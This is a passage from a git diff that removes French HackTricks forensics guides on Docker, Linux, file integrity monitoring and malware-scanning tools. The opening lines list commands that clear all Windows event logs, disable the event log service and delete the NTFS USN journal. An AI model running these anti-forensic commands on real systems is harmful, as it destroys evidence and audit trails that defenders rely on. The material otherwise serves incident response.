Cliquez avec le bouton droit sur chaque catégorie et sélectionnez "Effacer le journal" -- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` -- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` - -## Désactiver les journaux d'événements Windows - -- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Dans la section des services, désactivez le service "Journal des événements Windows" -- `WEvtUtil.exec clear-log` ou `WEvtUtil.exe cl` - -## Désactiver $UsnJrnl - -- `fsutil usn deletejournal /d c:` - - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md deleted file mode 100644 index 7b1c75d72..000000000 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ /dev/null @@ -1,96 +0,0 @@ -# Docker Forensics - -{{#include ../../banners/hacktricks-training.md}} - - -## Modification de conteneur - -Il y a des soupçons qu'un certain conteneur docker a été compromis : -```bash -docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress -``` -Vous pouvez facilement **trouver les modifications apportées à ce conteneur par rapport à l'image** avec : -```bash -docker diff wordpress -C /var -C /var/lib -C /var/lib/mysql -A /var/lib/mysql/ib_logfile0 -A /var/lib/mysql/ib_logfile1 -A /var/lib/mysql/ibdata1 -A /var/lib/mysql/mysql -A /var/lib/mysql/mysql/time_zone_leap_second.MYI -A /var/lib/mysql/mysql/general_log.CSV -... -``` -Dans la commande précédente, **C** signifie **Changed** et **A** signifie **Added**.\ -Si vous constatez qu'un fichier intéressant comme `/etc/shadow` a été modifié, vous pouvez le télécharger depuis le conteneur pour vérifier une activité malveillante avec : -```bash -docker cp wordpress:/etc/shadow. -``` -Vous pouvez également **le comparer avec l'original** en exécutant un nouveau conteneur et en extrayant le fichier à partir de celui-ci : -```bash -docker run -d lamp-wordpress -docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container -diff original_shadow shadow -``` -Si vous constatez que **un fichier suspect a été ajouté**, vous pouvez accéder au conteneur et le vérifier : -```bash -docker exec -it wordpress bash -``` -## Modifications d'images - -Lorsque vous recevez une image docker exportée (probablement au format `.tar`), vous pouvez utiliser [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) pour **extraire un résumé des modifications** : -```bash -docker save > image.tar #Export the image to a .tar file -container-diff analyze -t sizelayer image.tar -container-diff analyze -t history image.tar -container-diff analyze -t metadata image.tar -``` -Ensuite, vous pouvez **décompresser** l'image et **accéder aux blobs** pour rechercher des fichiers suspects que vous avez pu trouver dans l'historique des modifications : -```bash -tar -xf image.tar -``` -### Analyse de base - -Vous pouvez obtenir **des informations de base** à partir de l'image en exécutant : -```bash -docker inspect -``` -Vous pouvez également obtenir un résumé **historique des modifications** avec : -```bash -docker history --no-trunc -``` -Vous pouvez également générer un **dockerfile à partir d'une image** avec : -```bash -alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" -dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> -``` -### Dive - -Pour trouver des fichiers ajoutés/modifiés dans les images docker, vous pouvez également utiliser le [**dive**](https://github.com/wagoodman/dive) (téléchargez-le depuis [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utilitaire : -```bash -#First you need to load the image in your docker repo -sudo docker load < image.tar 1 ⨯ -Loaded image: flask:latest - -#And then open it with dive: -sudo dive flask:latest -``` -Cela vous permet de **naviguer à travers les différents blobs des images docker** et de vérifier quels fichiers ont été modifiés/ajoutés. **Rouge** signifie ajouté et **jaune** signifie modifié. Utilisez **tab** pour passer à l'autre vue et **espace** pour réduire/ouvrir des dossiers. - -Avec die, vous ne pourrez pas accéder au contenu des différentes étapes de l'image. Pour ce faire, vous devrez **décompresser chaque couche et y accéder**.\ -Vous pouvez décompresser toutes les couches d'une image depuis le répertoire où l'image a été décompressée en exécutant : -```bash -tar -xf image.tar -for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done -``` -## Identifiants depuis la mémoire - -Notez que lorsque vous exécutez un conteneur docker à l'intérieur d'un hôte **vous pouvez voir les processus en cours d'exécution sur le conteneur depuis l'hôte** simplement en exécutant `ps -ef` - -Par conséquent (en tant que root) vous pouvez **extraire la mémoire des processus** depuis l'hôte et rechercher des **identifiants** juste [**comme dans l'exemple suivant**](../../linux-hardening/privilege-escalation/index.html#process-memory). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md deleted file mode 100644 index 06f8120f1..000000000 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ /dev/null @@ -1,26 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Ligne de base - -Une ligne de base consiste à prendre un instantané de certaines parties d'un système pour **le comparer avec un état futur afin de mettre en évidence les changements**. - -Par exemple, vous pouvez calculer et stocker le hachage de chaque fichier du système de fichiers pour pouvoir déterminer quels fichiers ont été modifiés.\ -Cela peut également être fait avec les comptes d'utilisateurs créés, les processus en cours d'exécution, les services en cours d'exécution et toute autre chose qui ne devrait pas changer beaucoup, ou pas du tout. - -## Surveillance de l'intégrité des fichiers - -La Surveillance de l'intégrité des fichiers (FIM) est une technique de sécurité critique qui protège les environnements informatiques et les données en suivant les changements dans les fichiers. Elle implique deux étapes clés : - -1. **Comparaison de la ligne de base :** Établir une ligne de base en utilisant des attributs de fichiers ou des sommes de contrôle cryptographiques (comme MD5 ou SHA-2) pour des comparaisons futures afin de détecter les modifications. -2. **Notification de changement en temps réel :** Recevoir des alertes instantanées lorsque des fichiers sont accédés ou modifiés, généralement par le biais d'extensions du noyau OS. - -## Outils - -- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) -- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) - -## Références - -- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md deleted file mode 100644 index 76664a9d4..000000000 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ /dev/null @@ -1,370 +0,0 @@ -# Linux Forensics - -{{#include ../../banners/hacktricks-training.md}} - -## Collecte d'informations initiales - -### Informations de base - -Tout d'abord, il est recommandé d'avoir une **clé USB** avec des **binaires et bibliothèques bien connus** dessus (vous pouvez simplement obtenir ubuntu et copier les dossiers _/bin_, _/sbin_, _/lib,_ et _/lib64_), puis monter la clé USB et modifier les variables d'environnement pour utiliser ces binaires : -```bash -export PATH=/mnt/usb/bin:/mnt/usb/sbin -export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 -``` -Une fois que vous avez configuré le système pour utiliser de bons binaires connus, vous pouvez commencer à **extraire des informations de base** : -```bash -date #Date and time (Clock may be skewed, Might be at a different timezone) -uname -a #OS info -ifconfig -a || ip a #Network interfaces (promiscuous mode?) -ps -ef #Running processes -netstat -anp #Proccess and ports -lsof -V #Open files -netstat -rn; route #Routing table -df; mount #Free space and mounted devices -free #Meam and swap space -w #Who is connected -last -Faiwx #Logins -lsmod #What is loaded -cat /etc/passwd #Unexpected data? -cat /etc/shadow #Unexpected data? -find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory -``` -#### Informations suspectes - -Lors de l'obtention des informations de base, vous devez vérifier des choses étranges comme : - -- **Les processus root** s'exécutent généralement avec de faibles PIDS, donc si vous trouvez un processus root avec un grand PID, vous pouvez suspecter -- Vérifiez les **connexions enregistrées** des utilisateurs sans shell dans `/etc/passwd` -- Vérifiez les **hashs de mot de passe** dans `/etc/shadow` pour les utilisateurs sans shell - -### Dump de mémoire - -Pour obtenir la mémoire du système en cours d'exécution, il est recommandé d'utiliser [**LiME**](https://github.com/504ensicsLabs/LiME).\ -Pour **compiler** cela, vous devez utiliser le **même noyau** que celui utilisé par la machine victime. - -> [!NOTE] -> N'oubliez pas que vous **ne pouvez pas installer LiME ou quoi que ce soit d'autre** sur la machine victime car cela apportera plusieurs modifications. - -Donc, si vous avez une version identique d'Ubuntu, vous pouvez utiliser `apt-get install lime-forensics-dkms`\ -Dans d'autres cas, vous devez télécharger [**LiME**](https://github.com/504ensicsLabs/LiME) depuis github et le compiler avec les en-têtes de noyau corrects. Pour **obtenir les en-têtes de noyau exacts** de la machine victime, vous pouvez simplement **copier le répertoire** `/lib/modules/` sur votre machine, puis **compiler** LiME en les utilisant : -```bash -make -C /lib/modules//build M=$PWD -sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" -``` -LiME prend en charge 3 **formats** : - -- Brut (chaque segment concaténé ensemble) -- Rembourré (même que brut, mais avec des zéros dans les bits de droite) -- Lime (format recommandé avec des métadonnées) - -LiME peut également être utilisé pour **envoyer le dump via le réseau** au lieu de le stocker sur le système en utilisant quelque chose comme : `path=tcp:4444` - -### Imagerie de disque - -#### Arrêt - -Tout d'abord, vous devrez **éteindre le système**. Ce n'est pas toujours une option car parfois le système sera un serveur de production que l'entreprise ne peut pas se permettre d'éteindre.\ -Il existe **2 façons** d'éteindre le système, un **arrêt normal** et un **arrêt "débrancher le câble"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également au **malware** de **détruire des preuves**. L'approche "débrancher le câble" peut entraîner **une certaine perte d'informations** (pas beaucoup d'infos ne vont être perdues car nous avons déjà pris une image de la mémoire) et le **malware n'aura aucune opportunité** d'agir. Par conséquent, si vous **soupçonnez** qu'il pourrait y avoir un **malware**, exécutez simplement la **commande** **`sync`** sur le système et débranchez le câble. - -#### Prendre une image du disque - -Il est important de noter que **avant de connecter votre ordinateur à quoi que ce soit lié à l'affaire**, vous devez vous assurer qu'il sera **monté en lecture seule** pour éviter de modifier des informations. -```bash -#Create a raw copy of the disk -dd if= of= bs=512 - -#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data) -dcfldd if= of= bs=512 hash= hashwindow= hashlog= -dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes -``` -### Pré-analyse de l'image disque - -Imager une image disque sans plus de données. -```bash -#Find out if it's a disk image using "file" command -file disk.img -disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files) - -#Check which type of disk image it's -img_stat -t evidence.img -raw -#You can list supported types with -img_stat -i list -Supported image format types: -raw (Single or split raw file (dd)) -aff (Advanced Forensic Format) -afd (AFF Multiple File) -afm (AFF with external metadata) -afflib (All AFFLIB image formats (including beta ones)) -ewf (Expert Witness Format (EnCase)) - -#Data of the image -fsstat -i raw -f ext4 disk.img -FILE SYSTEM INFORMATION --------------------------------------------- -File System Type: Ext4 -Volume Name: -Volume ID: 162850f203fd75afab4f1e4736a7e776 - -Last Written at: 2020-02-06 06:22:48 (UTC) -Last Checked at: 2020-02-06 06:15:09 (UTC) - -Last Mounted at: 2020-02-06 06:15:18 (UTC) -Unmounted properly -Last mounted on: /mnt/disk0 - -Source OS: Linux -[...] - -#ls inside the image -fls -i raw -f ext4 disk.img -d/d 11: lost+found -d/d 12: Documents -d/d 8193: folder1 -d/d 8194: folder2 -V/V 65537: $OrphanFiles - -#ls inside folder -fls -i raw -f ext4 disk.img 12 -r/r 16: secret.txt - -#cat file inside image -icat -i raw -f ext4 disk.img 16 -ThisisTheMasterSecret -``` -## Recherche de Malware connu - -### Fichiers système modifiés - -Linux offre des outils pour garantir l'intégrité des composants système, ce qui est crucial pour repérer des fichiers potentiellement problématiques. - -- **Systèmes basés sur RedHat** : Utilisez `rpm -Va` pour un contrôle complet. -- **Systèmes basés sur Debian** : `dpkg --verify` pour une vérification initiale, suivi de `debsums | grep -v "OK$"` (après avoir installé `debsums` avec `apt-get install debsums`) pour identifier d'éventuels problèmes. - -### Détecteurs de Malware/Rootkit - -Lisez la page suivante pour en savoir plus sur les outils qui peuvent être utiles pour trouver des malwares : - -{{#ref}} -malware-analysis.md -{{#endref}} - -## Recherche de programmes installés - -Pour rechercher efficacement des programmes installés sur les systèmes Debian et RedHat, envisagez d'exploiter les journaux système et les bases de données en plus des vérifications manuelles dans les répertoires courants. - -- Pour Debian, inspectez _**`/var/lib/dpkg/status`**_ et _**`/var/log/dpkg.log`**_ pour obtenir des détails sur les installations de paquets, en utilisant `grep` pour filtrer des informations spécifiques. -- Les utilisateurs de RedHat peuvent interroger la base de données RPM avec `rpm -qa --root=/mntpath/var/lib/rpm` pour lister les paquets installés. - -Pour découvrir les logiciels installés manuellement ou en dehors de ces gestionnaires de paquets, explorez des répertoires comme _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, et _**`/sbin`**_. Combinez les listes de répertoires avec des commandes spécifiques au système pour identifier les exécutables non associés à des paquets connus, améliorant ainsi votre recherche de tous les programmes installés. -```bash -# Debian package and log details -cat /var/lib/dpkg/status | grep -E "Package:|Status:" -cat /var/log/dpkg.log | grep installed -# RedHat RPM database query -rpm -qa --root=/mntpath/var/lib/rpm -# Listing directories for manual installations -ls /usr/sbin /usr/bin /bin /sbin -# Identifying non-package executables (Debian) -find /sbin/ -exec dpkg -S {} \; | grep "no path found" -# Identifying non-package executables (RedHat) -find /sbin/ –exec rpm -qf {} \; | grep "is not" -# Find exacuable files -find / -type f -executable | grep -``` -## Récupérer des binaires en cours d'exécution supprimés - -Imaginez un processus qui a été exécuté depuis /tmp/exec puis supprimé. Il est possible de l'extraire. -```bash -cd /proc/3746/ #PID with the exec file deleted -head -1 maps #Get address of the file. It was 08048000-08049000 -dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it -``` -## Inspecter les emplacements de démarrage automatique - -### Tâches planifiées -```bash -cat /var/spool/cron/crontabs/* \ -/var/spool/cron/atjobs \ -/var/spool/anacron \ -/etc/cron* \ -/etc/at* \ -/etc/anacrontab \ -/etc/incron.d/* \ -/var/spool/incron/* \ - -#MacOS -ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ -``` -### Services - -Chemins où un malware pourrait être installé en tant que service : - -- **/etc/inittab** : Appelle des scripts d'initialisation comme rc.sysinit, dirigeant ensuite vers des scripts de démarrage. -- **/etc/rc.d/** et **/etc/rc.boot/** : Contiennent des scripts pour le démarrage des services, ce dernier étant trouvé dans les anciennes versions de Linux. -- **/etc/init.d/** : Utilisé dans certaines versions de Linux comme Debian pour stocker des scripts de démarrage. -- Les services peuvent également être activés via **/etc/inetd.conf** ou **/etc/xinetd/**, selon la variante de Linux. -- **/etc/systemd/system** : Un répertoire pour les scripts du gestionnaire de système et de service. -- **/etc/systemd/system/multi-user.target.wants/** : Contient des liens vers des services qui doivent être démarrés dans un niveau d'exécution multi-utilisateur. -- **/usr/local/etc/rc.d/** : Pour des services personnalisés ou tiers. -- **\~/.config/autostart/** : Pour les applications de démarrage automatique spécifiques à l'utilisateur, qui peuvent être un endroit caché pour des malwares ciblant l'utilisateur. -- **/lib/systemd/system/** : Fichiers d'unité par défaut à l'échelle du système fournis par les paquets installés. - -### Kernel Modules - -Les modules du noyau Linux, souvent utilisés par les malwares comme composants de rootkit, sont chargés au démarrage du système. Les répertoires et fichiers critiques pour ces modules incluent : - -- **/lib/modules/$(uname -r)** : Contient des modules pour la version du noyau en cours d'exécution. -- **/etc/modprobe.d** : Contient des fichiers de configuration pour contrôler le chargement des modules. -- **/etc/modprobe** et **/etc/modprobe.conf** : Fichiers pour les paramètres globaux des modules. - -### Other Autostart Locations - -Linux utilise divers fichiers pour exécuter automatiquement des programmes lors de la connexion de l'utilisateur, pouvant potentiellement abriter des malwares : - -- **/etc/profile.d/**\*, **/etc/profile**, et **/etc/bash.bashrc** : Exécutés pour toute connexion utilisateur. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, et **\~/.config/autostart** : Fichiers spécifiques à l'utilisateur qui s'exécutent lors de leur connexion. -- **/etc/rc.local** : S'exécute après que tous les services système ont démarré, marquant la fin de la transition vers un environnement multi-utilisateur. - -## Examine Logs - -Les systèmes Linux suivent les activités des utilisateurs et les événements système à travers divers fichiers journaux. Ces journaux sont essentiels pour identifier les accès non autorisés, les infections par malware et d'autres incidents de sécurité. Les fichiers journaux clés incluent : - -- **/var/log/syslog** (Debian) ou **/var/log/messages** (RedHat) : Capturent les messages et activités à l'échelle du système. -- **/var/log/auth.log** (Debian) ou **/var/log/secure** (RedHat) : Enregistrent les tentatives d'authentification, les connexions réussies et échouées. -- Utilisez `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` pour filtrer les événements d'authentification pertinents. -- **/var/log/boot.log** : Contient des messages de démarrage du système. -- **/var/log/maillog** ou **/var/log/mail.log** : Journalise les activités du serveur de messagerie, utile pour suivre les services liés aux e-mails. -- **/var/log/kern.log** : Stocke les messages du noyau, y compris les erreurs et les avertissements. -- **/var/log/dmesg** : Contient des messages de pilotes de périphériques. -- **/var/log/faillog** : Enregistre les tentatives de connexion échouées, aidant dans les enquêtes sur les violations de sécurité. -- **/var/log/cron** : Journalise les exécutions de tâches cron. -- **/var/log/daemon.log** : Suit les activités des services en arrière-plan. -- **/var/log/btmp** : Documente les tentatives de connexion échouées. -- **/var/log/httpd/** : Contient les journaux d'erreurs et d'accès d'Apache HTTPD. -- **/var/log/mysqld.log** ou **/var/log/mysql.log** : Journalise les activités de la base de données MySQL. -- **/var/log/xferlog** : Enregistre les transferts de fichiers FTP. -- **/var/log/** : Vérifiez toujours les journaux inattendus ici. - -> [!NOTE] -> Les journaux système Linux et les sous-systèmes d'audit peuvent être désactivés ou supprimés lors d'une intrusion ou d'un incident de malware. Étant donné que les journaux sur les systèmes Linux contiennent généralement certaines des informations les plus utiles sur les activités malveillantes, les intrus les suppriment régulièrement. Par conséquent, lors de l'examen des fichiers journaux disponibles, il est important de rechercher des lacunes ou des entrées hors d'ordre qui pourraient indiquer une suppression ou une falsification. - -**Linux maintient un historique des commandes pour chaque utilisateur**, stocké dans : - -- \~/.bash_history -- \~/.zsh_history -- \~/.zsh_sessions/\* -- \~/.python_history -- \~/.\*\_history - -De plus, la commande `last -Faiwx` fournit une liste des connexions des utilisateurs. Vérifiez-la pour des connexions inconnues ou inattendues. - -Vérifiez les fichiers qui peuvent accorder des privilèges supplémentaires : - -- Examinez `/etc/sudoers` pour des privilèges d'utilisateur inattendus qui pourraient avoir été accordés. -- Examinez `/etc/sudoers.d/` pour des privilèges d'utilisateur inattendus qui pourraient avoir été accordés. -- Examinez `/etc/groups` pour identifier des adhésions ou des permissions de groupe inhabituelles. -- Examinez `/etc/passwd` pour identifier des adhésions ou des permissions de groupe inhabituelles. - -Certaines applications génèrent également leurs propres journaux : - -- **SSH** : Examinez _\~/.ssh/authorized_keys_ et _\~/.ssh/known_hosts_ pour des connexions distantes non autorisées. -- **Gnome Desktop** : Consultez _\~/.recently-used.xbel_ pour des fichiers récemment accédés via des applications Gnome. -- **Firefox/Chrome** : Vérifiez l'historique du navigateur et les téléchargements dans _\~/.mozilla/firefox_ ou _\~/.config/google-chrome_ pour des activités suspectes. -- **VIM** : Consultez _\~/.viminfo_ pour des détails d'utilisation, tels que les chemins de fichiers accédés et l'historique des recherches. -- **Open Office** : Vérifiez l'accès récent aux documents qui pourrait indiquer des fichiers compromis. -- **FTP/SFTP** : Examinez les journaux dans _\~/.ftp_history_ ou _\~/.sftp_history_ pour des transferts de fichiers qui pourraient être non autorisés. -- **MySQL** : Enquêtez sur _\~/.mysql_history_ pour des requêtes MySQL exécutées, révélant potentiellement des activités non autorisées dans la base de données. -- **Less** : Analysez _\~/.lesshst_ pour l'historique d'utilisation, y compris les fichiers vus et les commandes exécutées. -- **Git** : Examinez _\~/.gitconfig_ et le projet _.git/logs_ pour des modifications des dépôts. - -### USB Logs - -[**usbrip**](https://github.com/snovvcrash/usbrip) est un petit logiciel écrit en pur Python 3 qui analyse les fichiers journaux Linux (`/var/log/syslog*` ou `/var/log/messages*` selon la distribution) pour construire des tableaux d'historique des événements USB. - -Il est intéressant de **connaître tous les USB qui ont été utilisés** et cela sera plus utile si vous avez une liste autorisée d'USB pour trouver des "événements de violation" (l'utilisation d'USB qui ne sont pas dans cette liste). - -### Installation -```bash -pip3 install usbrip -usbrip ids download #Download USB ID database -``` -### Exemples -```bash -usbrip events history #Get USB history of your curent linux machine -usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user -#Search for vid and/or pid -usbrip ids download #Downlaod database -usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid -``` -Plus d'exemples et d'informations dans le github : [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) - -## Examiner les comptes utilisateurs et les activités de connexion - -Examinez le _**/etc/passwd**_, _**/etc/shadow**_ et les **journaux de sécurité** pour des noms ou des comptes inhabituels créés et ou utilisés à proximité d'événements non autorisés connus. Vérifiez également les possibles attaques par force brute sur sudo.\ -De plus, vérifiez des fichiers comme _**/etc/sudoers**_ et _**/etc/groups**_ pour des privilèges inattendus accordés aux utilisateurs.\ -Enfin, recherchez des comptes avec **aucun mot de passe** ou des **mots de passe facilement devinables**. - -## Examiner le système de fichiers - -### Analyser les structures de système de fichiers dans l'investigation de logiciels malveillants - -Lors de l'investigation d'incidents de logiciels malveillants, la structure du système de fichiers est une source d'information cruciale, révélant à la fois la séquence des événements et le contenu des logiciels malveillants. Cependant, les auteurs de logiciels malveillants développent des techniques pour entraver cette analyse, comme la modification des horodatages de fichiers ou l'évitement du système de fichiers pour le stockage de données. - -Pour contrer ces méthodes anti-forensiques, il est essentiel de : - -- **Effectuer une analyse de chronologie approfondie** en utilisant des outils comme **Autopsy** pour visualiser les chronologies des événements ou `mactime` de **Sleuth Kit** pour des données de chronologie détaillées. -- **Enquêter sur des scripts inattendus** dans le $PATH du système, qui pourraient inclure des scripts shell ou PHP utilisés par les attaquants. -- **Examiner `/dev` pour des fichiers atypiques**, car il contient traditionnellement des fichiers spéciaux, mais peut abriter des fichiers liés aux logiciels malveillants. -- **Rechercher des fichiers ou des répertoires cachés** avec des noms comme ".. " (point point espace) ou "..^G" (point point contrôle-G), qui pourraient dissimuler un contenu malveillant. -- **Identifier les fichiers setuid root** en utilisant la commande : `find / -user root -perm -04000 -print` Cela trouve des fichiers avec des permissions élevées, qui pourraient être abusées par des attaquants. -- **Examiner les horodatages de suppression** dans les tables d'inodes pour repérer des suppressions massives de fichiers, ce qui pourrait indiquer la présence de rootkits ou de trojans. -- **Inspecter les inodes consécutifs** pour des fichiers malveillants à proximité après en avoir identifié un, car ils peuvent avoir été placés ensemble. -- **Vérifier les répertoires binaires courants** (_/bin_, _/sbin_) pour des fichiers récemment modifiés, car ceux-ci pourraient avoir été altérés par des logiciels malveillants. -````bash -# List recent files in a directory: -ls -laR --sort=time /bin``` - -# Sort files in a directory by inode: -ls -lai /bin | sort -n``` -```` -> [!NOTE] -> Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire en sorte que des **fichiers apparaissent** **légitimes**, mais il **ne peut pas** modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en **même temps** que le reste des fichiers dans le même dossier, mais que l'**inode** est **inattendu plus grand**, alors les **horodatages de ce fichier ont été modifiés**. - -## Comparer les fichiers de différentes versions de système de fichiers - -### Résumé de la comparaison des versions de système de fichiers - -Pour comparer les versions de système de fichiers et identifier les changements, nous utilisons des commandes `git diff` simplifiées : - -- **Pour trouver de nouveaux fichiers**, comparez deux répertoires : -```bash -git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ -``` -- **Pour le contenu modifié**, listez les changements en ignorant les lignes spécifiques : -```bash -git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" -``` -- **Pour détecter les fichiers supprimés** : -```bash -git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ -``` -- **Options de filtre** (`--diff-filter`) aident à se concentrer sur des changements spécifiques comme les fichiers ajoutés (`A`), supprimés (`D`) ou modifiés (`M`). -- `A`: Fichiers ajoutés -- `C`: Fichiers copiés -- `D`: Fichiers supprimés -- `M`: Fichiers modifiés -- `R`: Fichiers renommés -- `T`: Changements de type (par exemple, fichier vers symlink) -- `U`: Fichiers non fusionnés -- `X`: Fichiers inconnus -- `B`: Fichiers corrompus - -## Références - -- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) -- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) -- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Livre : Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md deleted file mode 100644 index 8768bc739..000000000 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ /dev/null @@ -1,154 +0,0 @@ -# Analyse de Malware - -{{#include ../../banners/hacktricks-training.md}} - -## Fiches de Triche en Informatique Légale - -[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) - -## Services en Ligne - -- [VirusTotal](https://www.virustotal.com/gui/home/upload) -- [HybridAnalysis](https://www.hybrid-analysis.com) -- [Koodous](https://koodous.com) -- [Intezer](https://analyze.intezer.com) -- [Any.Run](https://any.run/) - -## Outils Antivirus et de Détection Hors Ligne - -### Yara - -#### Installer -```bash -sudo apt-get install -y yara -``` -#### Préparer les règles - -Utilisez ce script pour télécharger et fusionner toutes les règles yara de malware depuis github : [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Créez le répertoire _**rules**_ et exécutez-le. Cela créera un fichier appelé _**malware_rules.yar**_ qui contient toutes les règles yara pour les malwares. -```bash -wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py -mkdir rules -python malware_yara_rules.py -``` -#### Scanner -```bash -yara -w malware_rules.yar image #Scan 1 file -yara -w malware_rules.yar folder #Scan the whole folder -``` -#### YaraGen : Vérifiez la présence de malware et créez des règles - -Vous pouvez utiliser l'outil [**YaraGen**](https://github.com/Neo23x0/yarGen) pour générer des règles yara à partir d'un binaire. Consultez ces tutoriels : [**Partie 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Partie 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Partie 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) -```bash -python3 yarGen.py --update -python3.exe yarGen.py --excludegood -m ../../mals/ -``` -### ClamAV - -#### Installer -``` -sudo apt-get install -y clamav -``` -#### Scanner -```bash -sudo freshclam #Update rules -clamscan filepath #Scan 1 file -clamscan folderpath #Scan the whole folder -``` -### [Capa](https://github.com/mandiant/capa) - -**Capa** détecte des **capabilités** potentiellement malveillantes dans les exécutables : PE, ELF, .NET. Il trouvera donc des éléments tels que les tactiques Att\&ck, ou des capacités suspectes telles que : - -- vérifier l'erreur OutputDebugString -- s'exécuter en tant que service -- créer un processus - -Obtenez-le dans le [**Github repo**](https://github.com/mandiant/capa). - -### IOCs - -IOC signifie Indicateur de Compromis. Un IOC est un ensemble de **conditions qui identifient** un logiciel potentiellement indésirable ou un **malware** confirmé. Les Blue Teams utilisent ce type de définition pour **rechercher ce type de fichiers malveillants** dans leurs **systèmes** et **réseaux**.\ -Partager ces définitions est très utile car lorsque le malware est identifié sur un ordinateur et qu'un IOC pour ce malware est créé, d'autres Blue Teams peuvent l'utiliser pour identifier le malware plus rapidement. - -Un outil pour créer ou modifier des IOCs est [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -Vous pouvez utiliser des outils tels que [**Redline**](https://www.fireeye.com/services/freeware/redline.html) pour **rechercher des IOCs définis dans un appareil**. - -### Loki - -[**Loki**](https://github.com/Neo23x0/Loki) est un scanner pour des Indicateurs de Compromis Simples.\ -La détection est basée sur quatre méthodes de détection : -``` -1. File Name IOC -Regex match on full file path/name - -2. Yara Rule Check -Yara signature matches on file data and process memory - -3. Hash Check -Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files - -4. C2 Back Connect Check -Compares process connection endpoints with C2 IOCs (new since version v.10) -``` -### Linux Malware Detect - -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) est un scanner de malware pour Linux publié sous la licence GNU GPLv2, conçu autour des menaces rencontrées dans des environnements d'hébergement partagé. Il utilise des 